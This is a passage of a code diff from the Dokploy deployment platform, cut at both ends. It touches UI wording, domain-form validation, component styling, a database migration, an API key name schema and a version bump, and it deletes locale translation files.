 												<FormDescription>
-													Trigger the action when the docker cleanup is
-													performed.
+													Trigger the action when Docker cleanup is performed.
 												</FormDescription>
 											</div>
 											<FormControl>
@@ -1955,7 +1954,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
 												<div className="space-y-0.5">
 													<FormLabel>Dokploy Restart</FormLabel>
 													<FormDescription>
-														Trigger the action when dokploy is restarted.
+														Trigger the action when Dokploy is restarted.
 													</FormDescription>
 												</div>
 												<FormControl>

apps/dokploy/components/dashboard/settings/web-domain.tsx

@@ -43,7 +43,8 @@ const addServerDomain = z
 			.string()
 			.trim()
 			.toLowerCase()
-			.refine((val) => VALID_HOSTNAME_REGEX.test(val), {
+			// empty clears the server domain and reverts to IP-only access
+			.refine((val) => val === "" || VALID_HOSTNAME_REGEX.test(val), {
 				message: INVALID_HOSTNAME_MESSAGE,
 			}),
 		letsEncryptEmail: z.string(),
@@ -51,7 +52,7 @@ const addServerDomain = z
 		certificateType: z.enum(["letsencrypt", "none", "custom"]),
 	})
 	.superRefine((data, ctx) => {
-		if (data.https && !data.certificateType) {
+		if (data.domain && data.https && !data.certificateType) {
 			ctx.addIssue({
 				code: z.ZodIssueCode.custom,
 				path: ["certificateType"],
@@ -59,6 +60,7 @@ const addServerDomain = z
 			});
 		}
 		if (
+			data.domain &&
 			data.https &&
 			data.certificateType === "letsencrypt" &&
 			!data.letsEncryptEmail

apps/dokploy/components/ui/command.tsx

@@ -151,13 +151,15 @@ function CommandItem({
 		<CommandPrimitive.Item
 			data-slot="command-item"
 			className={cn(
-				"group/command-item relative flex cursor-default items-center gap-2 rounded-sm px-2 py-1.5 in-data-[slot=dialog-content]:py-3 text-sm outline-hidden select-none in-data-[slot=dialog-content]:rounded-lg! data-[disabled=true]:pointer-events-none data-[disabled=true]:opacity-50 data-selected:bg-muted data-selected:text-foreground [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 in-data-[slot=dialog-content]:[&_svg:not([class*='size-'])]:size-5 data-selected:*:[svg]:text-foreground",
+				"group/command-item relative flex cursor-default items-center gap-2 rounded-md px-2 py-1.5 in-data-[slot=dialog-content]:py-3 text-sm outline-hidden select-none in-data-[slot=dialog-content]:rounded-lg! data-[disabled=true]:pointer-events-none data-[disabled=true]:opacity-50 data-selected:bg-muted data-selected:text-foreground [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 in-data-[slot=dialog-content]:[&_svg:not([class*='size-'])]:size-5 data-selected:*:[svg]:text-foreground",
 				className,
 			)}
 			{...props}
 		>
 			{children}
-			<CheckIcon className="ml-auto opacity-0 group-has-data-[slot=command-shortcut]/command-item:hidden group-data-[checked=true]/command-item:opacity-100" />
+			{"data-checked" in props && (
+				<CheckIcon className="ml-auto opacity-0 group-has-data-[slot=command-shortcut]/command-item:hidden group-data-[checked=true]/command-item:opacity-100" />
+			)}
 		</CommandPrimitive.Item>
 	);
 }

apps/dokploy/components/ui/select.tsx

@@ -80,7 +80,7 @@ function SelectContent({
 				<SelectPrimitive.Viewport
 					data-position={position}
 					className={cn(
-						"data-[position=popper]:h-(--radix-select-trigger-height) data-[position=popper]:w-full data-[position=popper]:min-w-(--radix-select-trigger-width)",
+						"p-1 data-[position=popper]:h-(--radix-select-trigger-height) data-[position=popper]:w-full data-[position=popper]:min-w-(--radix-select-trigger-width)",
 						position === "popper" && "",
 					)}
 				>
@@ -114,7 +114,7 @@ function SelectItem({
 		<SelectPrimitive.Item
 			data-slot="select-item"
 			className={cn(
-				"relative flex w-full cursor-default items-center gap-1.5 rounded-md py-1 pr-8 pl-1.5 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground not-data-[variant=destructive]:focus:**:text-accent-foreground data-disabled:pointer-events-none data-disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 *:[span]:last:flex *:[span]:last:items-center *:[span]:last:gap-2",
+				"relative flex w-full cursor-default items-center gap-1.5 rounded-md py-1.5 pr-8 pl-2 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground not-data-[variant=destructive]:focus:**:text-accent-foreground data-disabled:pointer-events-none data-disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 *:[span]:last:flex *:[span]:last:items-center *:[span]:last:gap-2",
 				className,
 			)}
 			{...props}

apps/dokploy/drizzle/0174_great_naoko.sql

@@ -0,0 +1 @@
+ALTER TABLE "backup" ADD COLUMN "includeEncryptionKey" boolean DEFAULT true NOT NULL;

apps/dokploy/drizzle/meta/_journal.json

@@ -1219,6 +1219,13 @@
       "when": 1783494977500,
       "tag": "0173_aspiring_annihilus",
       "breakpoints": true
+    },
+    {
+      "idx": 174,
+      "version": "7",
+      "when": 1783674181297,
+      "tag": "0174_great_naoko",
+      "breakpoints": true
     }
   ]
 }

apps/dokploy/lib/api-keys.ts

@@ -0,0 +1,23 @@
+import { z } from "zod";
+
+/**
+ * Maximum length allowed for an API key name.
+ *
+ * This mirrors the default `maximumNameLength` enforced by the
+ * `@better-auth/api-key` plugin. Names longer than this are rejected by
+ * better-auth with a 400, so we validate against it up front to surface a
+ * clear field-level error instead of an opaque 500.
+ */
+export const API_KEY_NAME_MAX_LENGTH = 32;
+
+/**
+ * Shared validation for an API key name, used by both the tRPC input schema
+ * and the client form so the two can't drift.
+ */
+export const apiKeyNameSchema = z
+	.string()
+	.min(1, "Name is required")
+	.max(
+		API_KEY_NAME_MAX_LENGTH,
+		`Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`,
+	);

apps/dokploy/package.json

@@ -1,6 +1,6 @@
 {
 	"name": "dokploy",
-	"version": "v0.29.11",
+	"version": "v0.29.12",
 	"private": true,
 	"license": "Apache-2.0",
 	"type": "module",

apps/dokploy/pages/index.tsx

@@ -310,7 +310,7 @@ export default function Home({ IS_CLOUD, enforceSSO }: Props) {
 								</button>
 							</div>
 
-							<div className="flex gap-4">
+							<div className="grid grid-cols-2 gap-4">
 								<Button
 									variant="outline"
 									className="w-full"

apps/dokploy/public/locales/az/common.json

@@ -1 +0,0 @@
-{}

apps/dokploy/public/locales/az/settings.json

@@ -1,58 +0,0 @@
-{
-	"settings.common.save": "Yadda saxla",
-	"settings.common.enterTerminal": "Terminala daxil ol",
-	"settings.server.domain.title": "Server Domeni",
-	"settings.server.domain.description": "Server tətbiqinizə domen əlavə edin.",
-	"settings.server.domain.form.domain": "Domen",
-	"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt E-poçtu",
-	"settings.server.domain.form.certificate.label": "Sertifikat Təminatçısı",
-	"settings.server.domain.form.certificate.placeholder": "Sertifikat seçin",
-	"settings.server.domain.form.certificateOptions.none": "Heç biri",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
-
-	"settings.server.webServer.title": "Veb Server",
-	"settings.server.webServer.description": "Veb serveri yenidən yüklə və ya təmizlə.",
-	"settings.server.webServer.actions": "Əməliyyatlar",
-	"settings.server.webServer.reload": "Yenidən yüklə",
-	"settings.server.webServer.watchLogs": "Logları izlə",
-	"settings.server.webServer.updateServerIp": "Server IP-ni Yenilə",
-	"settings.server.webServer.server.label": "Server",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Mühiti Dəyişdir",
-	"settings.server.webServer.traefik.managePorts": "Əlavə Port Təyinatları",
-	"settings.server.webServer.traefik.managePortsDescription": "Traefik üçün əlavə portlar əlavə edin və ya silin",
-	"settings.server.webServer.traefik.targetPort": "Hədəf Port",
-	"settings.server.webServer.traefik.publishedPort": "Dərc Edilmiş Port",
-	"settings.server.webServer.traefik.addPort": "Port Əlavə Et",
-	"settings.server.webServer.traefik.portsUpdated": "Portlar uğurla yeniləndi",
-	"settings.server.webServer.traefik.portsUpdateError": "Portların yenilənməsi uğursuz oldu",
-	"settings.server.webServer.traefik.publishMode": "Dərc Rejimi",
-	"settings.server.webServer.storage.label": "Yer",
-	"settings.server.webServer.storage.cleanUnusedImages": "İstifadə edilməyən şəkilləri təmizlə",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "İstifadə edilməyən həcmləri təmizlə",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Dayandırılmış konteynerləri təmizlə",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Docker Builder və Sistemi təmizlə",
-	"settings.server.webServer.storage.cleanMonitoring": "Monitorinqi təmizlə",
-	"settings.server.webServer.storage.cleanAll": "Hamısını təmizlə",
-
-	"settings.profile.title": "Hesab",
-	"settings.profile.description": "Profilinizin məlumatlarını buradan dəyişin.",
-	"settings.profile.email": "E-poçt",
-	"settings.profile.password": "Şifrə",
-	"settings.profile.avatar": "Avatar",
-
-	"settings.appearance.title": "Görünüş",
-	"settings.appearance.description": "İdarəetmə panelinizin görünüşünü fərdiləşdirin.",
-	"settings.appearance.theme": "Mövzu",
-	"settings.appearance.themeDescription": "İdarəetmə paneliniz üçün mövzu seçin",
-	"settings.appearance.themes.light": "İşıqlı",
-	"settings.appearance.themes.dark": "Qaranlıq",
-	"settings.appearance.themes.system": "Sistem",
-	"settings.appearance.language": "Dil",
-	"settings.appearance.languageDescription": "İdarəetmə paneliniz üçün dil seçin",
-
-	"settings.terminal.connectionSettings": "Bağlantı parametrləri",
-	"settings.terminal.ipAddress": "IP Ünvanı",
-	"settings.terminal.port": "Port",
-	"settings.terminal.username": "İstifadəçi adı"
-}

apps/dokploy/public/locales/de/common.json

@@ -1 +0,0 @@
-{}

apps/dokploy/public/locales/de/settings.json

@@ -1,44 +0,0 @@
-{
-	"settings.common.save": "Speichern",
-	"settings.server.domain.title": "Server-Domain",
-	"settings.server.domain.description": "Füg eine Domain zu deiner Server-Anwendung hinzu.",
-	"settings.server.domain.form.domain": "Domain",
-	"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt E-Mail",
-	"settings.server.domain.form.certificate.label": "Zertifikat",
-	"settings.server.domain.form.certificate.placeholder": "Wähl ein Zertifikat aus",
-	"settings.server.domain.form.certificateOptions.none": "Keins",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Standard)",
-
-	"settings.server.webServer.title": "Web-Server",
-	"settings.server.webServer.description": "Lade den Web-Server neu oder reinige ihn.",
-	"settings.server.webServer.actions": "Aktionen",
-	"settings.server.webServer.reload": "Neu laden",
-	"settings.server.webServer.watchLogs": "Logs anschauen",
-	"settings.server.webServer.updateServerIp": "Server-IP Aktualisieren",
-	"settings.server.webServer.server.label": "Server",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Umgebungsvariablen ändern",
-	"settings.server.webServer.storage.label": "Speicherplatz",
-	"settings.server.webServer.storage.cleanUnusedImages": "Nicht genutzte Bilder löschen",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Nicht genutzte Volumes löschen",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Gestoppte Container löschen",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Docker Builder & System bereinigen",
-	"settings.server.webServer.storage.cleanMonitoring": "Monitoring bereinigen",
-	"settings.server.webServer.storage.cleanAll": "Alles bereinigen",
-
-	"settings.profile.title": "Konto",
-	"settings.profile.description": "Ändere die Details deines Profiles hier.",
-	"settings.profile.email": "E-Mail",
-	"settings.profile.password": "Passwort",
-	"settings.profile.avatar": "Avatar",
-
-	"settings.appearance.title": "Aussehen",
-	"settings.appearance.description": "Pass das Design deines Dashboards an.",
-	"settings.appearance.theme": "Theme",
-	"settings.appearance.themeDescription": "Wähl ein Theme für dein Dashboard aus",
-	"settings.appearance.themes.light": "Hell",
-	"settings.appearance.themes.dark": "Dunkel",
-	"settings.appearance.themes.system": "System",
-	"settings.appearance.language": "Sprache",
-	"settings.appearance.languageDescription": "Wähl eine Sprache für dein Dashboard aus"
-}

apps/dokploy/public/locales/en/common.json

@@ -1 +0,0 @@
-{}

apps/dokploy/public/locales/en/settings.json

@@ -1,58 +0,0 @@
-{
-	"settings.common.save": "Save",
-	"settings.common.enterTerminal": "Terminal",
-	"settings.server.domain.title": "Server Domain",
-	"settings.server.domain.description": "Add a domain to your server application.",
-	"settings.server.domain.form.domain": "Domain",
-	"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt Email",
-	"settings.server.domain.form.certificate.label": "Certificate Provider",
-	"settings.server.domain.form.certificate.placeholder": "Select a certificate",
-	"settings.server.domain.form.certificateOptions.none": "None",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
-
-	"settings.server.webServer.title": "Web Server",
-	"settings.server.webServer.description": "Reload or clean the web server.",
-	"settings.server.webServer.actions": "Actions",
-	"settings.server.webServer.reload": "Reload",
-	"settings.server.webServer.watchLogs": "View Logs",
-	"settings.server.webServer.updateServerIp": "Update Server IP",
-	"settings.server.webServer.server.label": "Server",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Modify Environment",
-	"settings.server.webServer.traefik.managePorts": "Additional Port Mappings",
-	"settings.server.webServer.traefik.managePortsDescription": "Add or remove additional ports for Traefik",
-	"settings.server.webServer.traefik.targetPort": "Target Port",
-	"settings.server.webServer.traefik.publishedPort": "Published Port",
-	"settings.server.webServer.traefik.addPort": "Add Port",
-	"settings.server.webServer.traefik.portsUpdated": "Ports updated successfully",
-	"settings.server.webServer.traefik.portsUpdateError": "Failed to update ports",
-	"settings.server.webServer.traefik.publishMode": "Publish Mode",
-	"settings.server.webServer.storage.label": "Space",
-	"settings.server.webServer.storage.cleanUnusedImages": "Clean unused images",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Clean unused volumes",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Clean stopped containers",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Clean Docker Builder & System",
-	"settings.server.webServer.storage.cleanMonitoring": "Clean Monitoring",
-	"settings.server.webServer.storage.cleanAll": "Clean all",
-
-	"settings.profile.title": "Account",
-	"settings.profile.description": "Change the details of your profile here.",
-	"settings.profile.email": "Email",
-	"settings.profile.password": "Password",
-	"settings.profile.avatar": "Avatar",
-
-	"settings.appearance.title": "Appearance",
-	"settings.appearance.description": "Customize the theme of your dashboard.",
-	"settings.appearance.theme": "Theme",
-	"settings.appearance.themeDescription": "Select a theme for your dashboard",
-	"settings.appearance.themes.light": "Light",
-	"settings.appearance.themes.dark": "Dark",
-	"settings.appearance.themes.system": "System",
-	"settings.appearance.language": "Language",
-	"settings.appearance.languageDescription": "Select a language for your dashboard",
-
-	"settings.terminal.connectionSettings": "Connection settings",
-	"settings.terminal.ipAddress": "IP Address",
-	"settings.terminal.port": "Port",
-	"settings.terminal.username": "Username"
-}

apps/dokploy/public/locales/es/common.json

@@ -1 +0,0 @@
-{}

apps/dokploy/public/locales/es/settings.json

@@ -1,52 +0,0 @@
-{
-	"settings.common.save": "Guardar",
-	"settings.server.domain.title": "Dominio del Servidor",
-	"settings.server.domain.description": "Añade un dominio a tu aplicación de servidor.",
-	"settings.server.domain.form.domain": "Dominio",
-	"settings.server.domain.form.letsEncryptEmail": "Correo de Let's Encrypt",
-	"settings.server.domain.form.certificate.label": "Proveedor de Certificado",
-	"settings.server.domain.form.certificate.placeholder": "Selecciona un certificado",
-	"settings.server.domain.form.certificateOptions.none": "Ninguno",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
-
-	"settings.server.webServer.title": "Servidor Web",
-	"settings.server.webServer.description": "Recarga o limpia el servidor web.",
-	"settings.server.webServer.actions": "Acciones",
-	"settings.server.webServer.reload": "Recargar",
-	"settings.server.webServer.watchLogs": "Ver registros",
-	"settings.server.webServer.updateServerIp": "Actualizar IP del Servidor",
-	"settings.server.webServer.server.label": "Servidor",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Modificar Entorno",
-	"settings.server.webServer.traefik.managePorts": "Asignación Adicional de Puertos",
-	"settings.server.webServer.traefik.managePortsDescription": "Añadir o eliminar puertos adicionales para Traefik",
-	"settings.server.webServer.traefik.targetPort": "Puerto de Destino",
-	"settings.server.webServer.traefik.publishedPort": "Puerto Publicado",
-	"settings.server.webServer.traefik.addPort": "Añadir Puerto",
-	"settings.server.webServer.traefik.portsUpdated": "Puertos actualizados correctamente",
-	"settings.server.webServer.traefik.portsUpdateError": "Error al actualizar los puertos",
-	"settings.server.webServer.traefik.publishMode": "Modo de Publicación",
-	"settings.server.webServer.storage.label": "Espacio",
-	"settings.server.webServer.storage.cleanUnusedImages": "Limpiar imágenes no utilizadas",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Limpiar volúmenes no utilizados",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Limpiar contenedores detenidos",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Limpiar Constructor de Docker y Sistema",
-	"settings.server.webServer.storage.cleanMonitoring": "Limpiar Monitoreo",
-	"settings.server.webServer.storage.cleanAll": "Limpiar todo",
-
-	"settings.profile.title": "Cuenta",
-	"settings.profile.description": "Cambia los detalles de tu perfil aquí.",
-	"settings.profile.email": "Correo electrónico",
-	"settings.profile.password": "Contraseña",
-	"settings.profile.avatar": "Avatar",
-
-	"settings.appearance.title": "Apariencia",
-	"settings.appearance.description": "Personaliza el tema de tu panel.",
-	"settings.appearance.theme": "Tema",
-	"settings.appearance.themeDescription": "Selecciona un tema para tu panel",
-	"settings.appearance.themes.light": "Claro",
-	"settings.appearance.themes.dark": "Oscuro",
-	"settings.appearance.themes.system": "Sistema",
-	"settings.appearance.language": "Idioma",
-	"settings.appearance.languageDescription": "Selecciona un idioma para tu panel"
-}

apps/dokploy/public/locales/fa/common.json

@@ -1 +0,0 @@
-{}

apps/dokploy/public/locales/fa/settings.json

@@ -1,44 +0,0 @@
-{
-	"settings.common.save": "ذخیره",
-	"settings.server.domain.title": "دامنه سرور",
-	"settings.server.domain.description": "یک دامنه به برنامه سرور خود اضافه کنید.",
-	"settings.server.domain.form.domain": "دامنه",
-	"settings.server.domain.form.letsEncryptEmail": "ایمیل Let's Encrypt",
-	"settings.server.domain.form.certificate.label": "گواهینامه",
-	"settings.server.domain.form.certificate.placeholder": "یک گواهینامه انتخاب کنید",
-	"settings.server.domain.form.certificateOptions.none": "هیچکدام",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (پیش‌فرض)",
-
-	"settings.server.webServer.title": "وب سرور",
-	"settings.server.webServer.description": "وب سرور را بازنشانی یا پاک کنید.",
-	"settings.server.webServer.actions": "اقدامات",
-	"settings.server.webServer.reload": "بارگذاری مجدد",
-	"settings.server.webServer.watchLogs": "مشاهده گزارش‌ها",
-	"settings.server.webServer.updateServerIp": "به‌روزرسانی آی‌پی سرور",
-	"settings.server.webServer.server.label": "سرور",
-	"settings.server.webServer.traefik.label": "ترافیک",
-	"settings.server.webServer.traefik.modifyEnv": "ویرایش محیط",
-	"settings.server.webServer.storage.label": "فضا",
-	"settings.server.webServer.storage.cleanUnusedImages": "پاکسازی Image های بدون استفاده",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "پاک‌سازی ولوم‌های بدون استفاده",
-	"settings.server.webServer.storage.cleanStoppedContainers": "پاک‌سازی کانتینرهای متوقف‌شده",
-	"settings.server.webServer.storage.cleanDockerBuilder": "پاک‌سازی بیلدر و سیستم داکر",
-	"settings.server.webServer.storage.cleanMonitoring": "پاک‌سازی پایش",
-	"settings.server.webServer.storage.cleanAll": "پاک‌سازی همه",
-
-	"settings.profile.title": "حساب کاربری",
-	"settings.profile.description": "جزئیات پروفایل خود را در اینجا تغییر دهید.",
-	"settings.profile.email": "ایمیل",
-	"settings.profile.password": "رمز عبور",
-	"settings.profile.avatar": "تصویر پروفایل",
-
-	"settings.appearance.title": "ظاهر",
-	"settings.appearance.description": "تم داشبورد خود را سفارشی کنید.",
-	"settings.appearance.theme": "تم",
-	"settings.appearance.themeDescription": "یک تم برای داشبورد خود انتخاب کنید",
-	"settings.appearance.themes.light": "روشن",
-	"settings.appearance.themes.dark": "تاریک",
-	"settings.appearance.themes.system": "سیستم",
-	"settings.appearance.language": "زبان",
-	"settings.appearance.languageDescription": "یک زبان برای داشبورد خود انتخاب کنید"
-}

apps/dokploy/public/locales/fr/common.json

@@ -1 +0,0 @@
-{}

apps/dokploy/public/locales/fr/settings.json

@@ -1,44 +0,0 @@
-{
-	"settings.common.save": "Sauvegarder",
-	"settings.server.domain.title": "Nom de domaine du serveur",
-	"settings.server.domain.description": "Ajouter un nom de domaine au serveur de votre application.",
-	"settings.server.domain.form.domain": "Domaine",
-	"settings.server.domain.form.letsEncryptEmail": "Adresse email Let's Encrypt",
-	"settings.server.domain.form.certificate.label": "Certificat",
-	"settings.server.domain.form.certificate.placeholder": "Choisir un certificat",
-	"settings.server.domain.form.certificateOptions.none": "Aucun",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Par défaut)",
-
-	"settings.server.webServer.title": "Serveur web",
-	"settings.server.webServer.description": "Recharger ou nettoyer le serveur web.",
-	"settings.server.webServer.actions": "Actions",
-	"settings.server.webServer.reload": "Recharger",
-	"settings.server.webServer.watchLogs": "Consulter les logs",
-	"settings.server.webServer.updateServerIp": "Mettre à jour l'IP du serveur",
-	"settings.server.webServer.server.label": "Serveur",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Modifier les variables d'environnement",
-	"settings.server.webServer.storage.label": "Stockage",
-	"settings.server.webServer.storage.cleanUnusedImages": "Supprimer les images inutilisées",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Supprimer les volumes inutilisés",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Supprimer les conteneurs arrêtés",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Nettoyer le Docker Builder & System",
-	"settings.server.webServer.storage.cleanMonitoring": "Nettoyer le monitoring",
-	"settings.server.webServer.storage.cleanAll": "Tout nettoyer",
-
-	"settings.profile.title": "Compte",
-	"settings.profile.description": "Modifier les informations de votre compte ici.",
-	"settings.profile.email": "Adresse Email",
-	"settings.profile.password": "Mot de passe",
-	"settings.profile.avatar": "Photo de profil",
-
-	"settings.appearance.title": "Apparence",
-	"settings.appearance.description": "Customiser le thème de votre dashboard.",
-	"settings.appearance.theme": "Thème",
-	"settings.appearance.themeDescription": "Choisir un thème pour votre dashboard",
-	"settings.appearance.themes.light": "Clair",
-	"settings.appearance.themes.dark": "Sombre",
-	"settings.appearance.themes.system": "Système",
-	"settings.appearance.language": "Langue",
-	"settings.appearance.languageDescription": "Sélectionner une langue pour votre dashboard"
-}

apps/dokploy/public/locales/id/common.json

@@ -1 +0,0 @@
-{}

apps/dokploy/public/locales/id/settings.json

@@ -1,58 +0,0 @@
-{
-	"settings.common.save": "Simpan",
-	"settings.common.enterTerminal": "Buka Terminal",
-	"settings.server.domain.title": "Domain Server",
-	"settings.server.domain.description": "Tambahkan domain ke aplikasi server anda.",
-	"settings.server.domain.form.domain": "Domain",
-	"settings.server.domain.form.letsEncryptEmail": "Email Let's Encrypt",
-	"settings.server.domain.form.certificate.label": "Penyedia Sertifikat",
-	"settings.server.domain.form.certificate.placeholder": "Pilih sertifikat",
-	"settings.server.domain.form.certificateOptions.none": "Tidak ada",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
-
-	"settings.server.webServer.title": "Server Web",
-	"settings.server.webServer.description": "Muat ulang atau bersihkan server web.",
-	"settings.server.webServer.actions": "Opsi",
-	"settings.server.webServer.reload": "Muat ulang",
-	"settings.server.webServer.watchLogs": "Lihat log",
-	"settings.server.webServer.updateServerIp": "Perbarui IP Server",
-	"settings.server.webServer.server.label": "Server",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Ubah Environment",
-	"settings.server.webServer.traefik.managePorts": "Pengaturan Port Tambahan",
-	"settings.server.webServer.traefik.managePortsDescription": "Tambahkan atau hapus port tambahan untuk Traefik",
-	"settings.server.webServer.traefik.targetPort": "Port Tujuan",
-	"settings.server.webServer.traefik.publishedPort": "Port saai ini",
-	"settings.server.webServer.traefik.addPort": "Tambah Port",
-	"settings.server.webServer.traefik.portsUpdated": "Port berhasil diperbarui",
-	"settings.server.webServer.traefik.portsUpdateError": "Gagal memperbarui Port",
-	"settings.server.webServer.traefik.publishMode": "Pilihan mode Port",
-	"settings.server.webServer.storage.label": "Penyimpanan",
-	"settings.server.webServer.storage.cleanUnusedImages": "Hapus Image tidak terpakai",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Hapus Volume tidak terpakai",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Hapus Container tidak aktif",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Bersihkan Docker Builder & System",
-	"settings.server.webServer.storage.cleanMonitoring": "Bersihkan Monitoring",
-	"settings.server.webServer.storage.cleanAll": "Bersihkan",
-
-	"settings.profile.title": "Akun",
-	"settings.profile.description": "Ubah detail profil Anda di sini.",
-	"settings.profile.email": "Email",
-	"settings.profile.password": "Kata Sandi",
-	"settings.profile.avatar": "Avatar",
-
-	"settings.appearance.title": "Tampilan",
-	"settings.appearance.description": "Sesuaikan tema dasbor Anda.",
-	"settings.appearance.theme": "Tema",
-	"settings.appearance.themeDescription": "Pilih tema untuk dasbor Anda",
-	"settings.appearance.themes.light": "Terang",
-	"settings.appearance.themes.dark": "Gelap",
-	"settings.appearance.themes.system": "Sistem",
-	"settings.appearance.language": "Bahasa",
-	"settings.appearance.languageDescription": "Pilih bahasa untuk dasbor Anda",
-
-	"settings.terminal.connectionSettings": "Pengaturan koneksi",
-	"settings.terminal.ipAddress": "Alamat IP",
-	"settings.terminal.port": "Port",
-	"settings.terminal.username": "Username"
-}

apps/dokploy/public/locales/it/common.json

@@ -1 +0,0 @@
-{}

apps/dokploy/public/locales/it/settings.json

@@ -1,44 +0,0 @@
-{
-	"settings.common.save": "Salva",
-	"settings.server.domain.title": "Dominio del server",
-	"settings.server.domain.description": "Aggiungi un dominio alla tua applicazione server.",
-	"settings.server.domain.form.domain": "Dominio",
-	"settings.server.domain.form.letsEncryptEmail": "Email di Let's Encrypt",
-	"settings.server.domain.form.certificate.label": "Certificato",
-	"settings.server.domain.form.certificate.placeholder": "Seleziona un certificato",
-	"settings.server.domain.form.certificateOptions.none": "Nessuno",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Predefinito)",
-
-	"settings.server.webServer.title": "Server Web",
-	"settings.server.webServer.description": "Ricarica o pulisci il server web.",
-	"settings.server.webServer.actions": "Azioni",
-	"settings.server.webServer.reload": "Ricarica",
-	"settings.server.webServer.watchLogs": "Guarda i log",
-	"settings.server.webServer.updateServerIp": "Aggiorna IP del server",
-	"settings.server.webServer.server.label": "Server",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Modifica Env",
-	"settings.server.webServer.storage.label": "Spazio",
-	"settings.server.webServer.storage.cleanUnusedImages": "Pulisci immagini inutilizzate",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Pulisci volumi inutilizzati",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Pulisci container fermati",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Pulisci Docker Builder e sistema",
-	"settings.server.webServer.storage.cleanMonitoring": "Pulisci monitoraggio",
-	"settings.server.webServer.storage.cleanAll": "Pulisci tutto",
-
-	"settings.profile.title": "Account",
-	"settings.profile.description": "Modifica i dettagli del tuo profilo qui.",
-	"settings.profile.email": "Email",
-	"settings.profile.password": "Password",
-	"settings.profile.avatar": "Avatar",
-
-	"settings.appearance.title": "Aspetto",
-	"settings.appearance.description": "Personalizza il tema della tua dashboard.",
-	"settings.appearance.theme": "Tema",
-	"settings.appearance.themeDescription": "Seleziona un tema per la tua dashboard",
-	"settings.appearance.themes.light": "Chiaro",
-	"settings.appearance.themes.dark": "Scuro",
-	"settings.appearance.themes.system": "Sistema",
-	"settings.appearance.language": "Lingua",
-	"settings.appearance.languageDescription": "Seleziona una lingua per la tua dashboard"
-}

apps/dokploy/public/locales/ja/common.json

@@ -1 +0,0 @@
-{}

apps/dokploy/public/locales/ja/settings.json

@@ -1,44 +0,0 @@
-{
-	"settings.common.save": "保存",
-	"settings.server.domain.title": "サーバードメイン",
-	"settings.server.domain.description": "サーバーアプリケーションにドメインを追加",
-	"settings.server.domain.form.domain": "ドメイン",
-	"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt メールアドレス",
-	"settings.server.domain.form.certificate.label": "証明書",
-	"settings.server.domain.form.certificate.placeholder": "証明書を選択",
-	"settings.server.domain.form.certificateOptions.none": "なし",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (デフォルト)",
-
-	"settings.server.webServer.title": "ウェブサーバー",
-	"settings.server.webServer.description": "ウェブサーバーをリロードまたはクリーンアップします",
-	"settings.server.webServer.actions": "アクション",
-	"settings.server.webServer.reload": "リロード",
-	"settings.server.webServer.watchLogs": "ログを監視",
-	"settings.server.webServer.updateServerIp": "サーバーIPを更新",
-	"settings.server.webServer.server.label": "サーバー",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "環境設定を変更",
-	"settings.server.webServer.storage.label": "ストレージ",
-	"settings.server.webServer.storage.cleanUnusedImages": "未使用のイメージを削除",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "未使用のボリュームを削除",
-	"settings.server.webServer.storage.cleanStoppedContainers": "停止中のコンテナを削除",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Docker ビルダー＆システムをクリーンアップ",
